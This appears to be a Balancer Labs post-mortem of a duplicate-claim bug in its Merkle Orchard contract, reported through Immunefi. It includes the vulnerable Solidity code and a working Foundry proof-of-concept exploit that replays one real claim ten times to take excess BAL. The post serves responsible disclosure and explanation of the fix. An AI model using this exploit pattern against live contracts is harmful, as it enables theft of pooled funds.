Logic Error Bug Fix Review

High severity bug discovered by white hat hacker through bounty platform Immunefi

Balancer Labs
Balancer Protocol
7 min readFeb 13, 2023

--

Summary

On January 22, 2023, white hat hacker 0xriptide reported a high-severity vulnerability and we subsequently made the bug public through this Twitter thread. The bug would allow liquidity providers to submit duplicate claims to drain all of the Merkle Orchard’s assets from the Vault.

At the time of the report submission, across Ethereum mainnet, Polygon, and Arbitrum, the Vault held around $3.2m of potentially vulnerable funds. Though the Merkle Orchard contract was not included in the Balancer bug bounty program’s scope, we made the decision to award the white hat a 50 ETH bounty due to the report’s relevance.

You can read 0xriptide’s blog post about his responsible disclosure here.

A brief introduction to Merkle Trees

To better understand the vulnerability, we should briefly look into what Merkle trees are. These are data structures that encode and compress a number of different data blocks — nodes which we call “leaves” of the tree — into one single hash word — the Merkle tree “root”.

An example Merkle Tree

The above image illustrates a Merkle tree structure. Each tree leaf X is hashed to create Hₓ. After that, pairs of hashes are concatenated and hashed once again, so from Hₐ and Hᵦ we get H(Hₐ.Hᵦ) = Hₐᵦ. We will repeat this process of concatenation and hashing to finally get a final compressed root hash–in our case, HABCDEFGH (all letters after the initial H are in subscript).

Due to the irreversible nature of hash functions, we cannot reconstruct the leaves from the single tree root. However, we can use these structures to cryptographically prove that a given leaf belongs to the tree.

Looking at our Merkle tree once again, let’s say Alice wants to prove to Bob that leaf F is present in this Merkle tree, and Bob just has the final computed Merkle root. Alice just needs to provide a Merkle proof, which in this case will be HE, HGH, and HABCD. Bob will hash leaf F to get HF. Then it will concatenate it with HE and hash that again. The result will be concatenated with HGH and hashed. Finally, this result will be combined with HABCD and hashed one last time. If this result corresponds to the Merkle tree root that Bob has stored, then Bob has just verified that leaf F was part of the dataset that generated the original root.

Vulnerability Analysis

The Merkle Orchard contracts were implemented in late 2021 and used to distribute token incentives before migration to the new ve-tokenomics in early 2022.

The idea behind it was for a liquidity provider to be able to claim reward distributions of multiple tokens in a single transaction. That’s done by calling MerkleOrchard.claimDistributions, which calls the internal function _processClaims.


function _processClaims(
address claimer,
address recipient,
Claim[] memory claims,
IERC20[] memory tokens,
bool asInternalBalance
) internal {
uint256[] memory amounts = new uint256[](tokens.length);


/* (...) */
bytes32 currentChannelId; // Since channel ids are a hash, the initial zero id can be safely considered invalid
uint256 currentWordIndex;


uint256 currentBits; // The accumulated claimed bits to set in storage
uint256 currentClaimAmount; // The accumulated tokens to be claimed from the current channel (not claims set!)


Claim memory claim;
for (uint256 i = 0; i < claims.length; i++) {
claim = claims[i];


// New scope to avoid stack-too-deep issues
{
(uint256 distributionWordIndex, uint256 distributionBitIndex) = _getIndices(claim.distributionId);


if (currentChannelId == _getChannelId(tokens[claim.tokenIndex], claim.distributor)) {
if (currentWordIndex == distributionWordIndex) {
// Same claims set as the previous one: simply track the new bit to set.
currentBits |= 1 << distributionBitIndex;
} else {
/* (...) */
_setClaimedBits(currentChannelId, claimer, currentWordIndex, currentBits);
/* (...) */
}


currentClaimAmount += claim.balance;
} else {
// Skip initial invalid claims set
if (currentChannelId != bytes32(0)) {
// Commit previous claims set
_setClaimedBits(currentChannelId, claimer, currentWordIndex, currentBits);
_deductClaimedBalance(currentChannelId, currentClaimAmount);
}


/* (...) */
currentClaimAmount = claim.balance;
}
/* (...) */
}

The function will process an array of claims. Each Claim has a distributionId. From that id value, _getIndices will compute a word index and a bit index, which will be used throughout the rest of the function. In a similar fashion, we get the channel id from tokens[claim.tokenIndex] and claim.distributor using the internal function _getChannelId.


function _getChannelId(IERC20 token, address distributor) private pure returns (bytes32) {
return keccak256(abi.encodePacked(token, distributor));
}

Various parts of this initial portion of _processClaims were cut in this snippet, but from what we have here we can see what happens when we have duplicate claims in our array. The channel id will be the same as the current one because it returns the same bytes32 value for each Claim, which means we will enter into the first if statement. Because currentWordIndex == distributionWordIndex also evaluates to true for duplicate claims, it will effectively bypass _setClaimedBits. This function is for setting bits in a bitmap which tracks the committed claims and reverts the transaction if we try to set already registered bits.

A final noteworthy aspect of the previous snippet is that _setClaimedBits is also skipped for the first claim of the array because currentChannelId is still zero. So submitting the same claim multiple times inside the array will simply keep on increasing currentClaimAmount without checking submitted bits on the bitmap.


// Since a claims set is only committed if the next one is not part of the same set, the last claims set
// must be manually committed always.
if (i == claims.length - 1) {
_setClaimedBits(currentChannelId, claimer, currentWordIndex, currentBits);
_deductClaimedBalance(currentChannelId, currentClaimAmount);
}


require(
_verifyClaim(currentChannelId, claim.distributionId, claimer, claim.balance, claim.merkleProof),
"incorrect merkle proof"
);


// Note that balances to claim are here accumulated *per token*, independent of the distribution channel and
// claims set accounting.
amounts[claim.tokenIndex] += claim.balance;


emit DistributionClaimed(
claim.distributor,
tokens[claim.tokenIndex],
claim.distributionId,
claimer,
recipient,
claim.balance
);
}


IVault.UserBalanceOpKind kind = asInternalBalance
? IVault.UserBalanceOpKind.TRANSFER_INTERNAL
: IVault.UserBalanceOpKind.WITHDRAW_INTERNAL;
IVault.UserBalanceOp[] memory ops = new IVault.UserBalanceOp[](tokens.length);


for (uint256 i = 0; i < tokens.length; i++) {
ops[i] = IVault.UserBalanceOp({
asset: IAsset(address(tokens[i])),
amount: amounts[i],
sender: address(this),
recipient: payable(recipient),
kind: kind
});
}
getVault().manageUserBalance(ops);
}

The bits of our repeated claim still need to be set, and fortunately, the function does so by calling setClaimedBits when the final element of the array is reached. The claim gets verified against the stored Merkle tree root, so it still needs to be valid and present a corresponding Merkle proof.

After completing the loop, the function will call manageUserBalance on the Balancer Vault contract. The MerkleOrchard.claimDistributions function will execute _processClaims with asInternalBalance set as false, which means that kind will be set as WITHDRAW_INTERNAL and Vault.manageUserBalance will send out the funds from its internal balance to the recipient — the address claiming the distributions.

Proof of Concept

To create a PoC to showcase how one can indeed reuse claims on a single transaction, we first need to have funds to claim from the Merkle Orchard contract. For simplicity, we’ll be using an address that had rewards to claim in the past. We can use Dedaub’s library to check past Merkle Orchard transactions that executed claimDistributions. The selected transaction happened at block 15837793, so we will fork the Ethereum mainnet at block 15837792.

Part of the selected transaction’s calldata, from Phalcon

contract Attacker {
address constant MERKLE_ORCHARD = 0xdAE7e32ADc5d490a43cCba1f0c736033F2b4eFca;


function attack(
address claimer,
Claim calldata claim,
IERC20 token,
uint repetitions
) external {
Claim[] memory claims = new Claim[](repetitions);
for (uint i; i < repetitions; i++) {
claims[i] = claim;
}


IERC20[] memory tokens = new IERC20[](1);
tokens[0] = token;


IMerkleOrchard(MERKLE_ORCHARD).claimDistributions(claimer, claims, tokens);
}
}

Our Attacker contract will simply put the same claim numerous times into an array. We will just have one token to claim.


function testAttack() public {
bytes32[] memory proof = new bytes32[](12);
proof[0] = 0x9dfbf7c918518b3c96befc9c7178f9d85dbec75baa1457749780710cb6e2fab0;
proof[1] = 0x1459513ce0fe343354d5b941644785b433c84e85f34e6e7297171d5deb2d0035;
proof[2] = 0x0a93097cb9138ab1e9493e56fac429b3f6ebbfc3d031ce591fcfafebf0398105;
proof[3] = 0x4c548b15158eec039a1d74232928311f35b2693185e1d7a2f72c9e7e1a6b147a;
proof[4] = 0x9f7de89db5d55efdf394df915d9ab5d26956556c1da07612e7e1f0794faa3301;
proof[5] = 0x736a792a76e0f66913ca5cc9e5eedee3f405748023a900719ec2d92aae5be80f;
proof[6] = 0xd8d331ef8c777b3d480a42eba19343c481b1e17557f3b5e4988a3e9f634363b0;
proof[7] = 0x02ad7733b927e3d8bd7b3414a4e989a189775646c10cdf2a4d79b93d8740be04;
proof[8] = 0x018614a70e3e29575ebb9187ec872c6151f852978fcb390c6fb24ef3614c9b15;
proof[9] = 0xae927f79f6ed27bf45ef3fadbcbf1228814b33380f20d3a64fb2b726702941e9;
proof[10] = 0x6ed645d9b5a25b02e2671f9745ba560c736329e8f1767baf98c52a2df1da8ff1;
proof[11] = 0xdd5933661c2b5728dcaf0f3f96893d66f1ed0457288e2d3cf738b324f4761a5b;


uint claimAmount = 5_568_441_214_478_000_000;


Claim memory claim = Claim({
distributionId: 52,
balance: claimAmount,
distributor: 0xd2EB7Bd802A7CA68d9AcD209bEc4E664A9abDD7b,
tokenIndex: 0,
merkleProof: proof
});


IERC20 balToken = IERC20(0xba100000625a3754423978a60c9317c58a424e3D);


uint preBalance = balToken.balanceOf(claimer);
console.log("Claimer bal balance pre attack: %s", preBalance);


// Attack!
uint repetitions = 10;
Attacker attacker = new Attacker();
attacker.attack(claimer, claim, balToken, repetitions);


uint postBalance = balToken.balanceOf(claimer);
console.log("Claimer bal balance post attack: %s", postBalance);


assertEq(postBalance - preBalance, repetitions * claimAmount);
}

All data is copied from the selected transaction aforementioned. We will repeat our claim 10 times, but it would be trivial to expand this PoC to drain all vulnerable funds.

Foundry test result

We’ve successfully executed the same claim 10 times, and we received 10 times the funds we were supposed to get. You can check the full PoC here.

Vulnerability Fix

Balancer Labs developers mitigated the issue by creating new distributions to move Merkle Orchard tokens to the Balancer Treasury address on each network Balancer is present on. These funds will later be distributed via a patched Merkle Orchard to be deployed.

Acknowledgments

We would like to thank 0xriptide for making a responsible disclosure. Big props to the Immunefi team who did an amazing job responding quickly and working so closely with us throughout the process of fixing the vulnerability.

If you’re feeling good about your skillset and want to see if you can find bugs in Balancer Protocol contracts, check out the bug bounty program. Also take a look at Immunefi’s Web3 Security Library, and start earning rewards on Immunefi — the leading bug bounty platform for web3 with the world’s biggest payouts.

--

--

Balancer Labs
Balancer Protocol

Balancer Labs contributes to Balancer Protocol — the leading platform for programmable liquidity.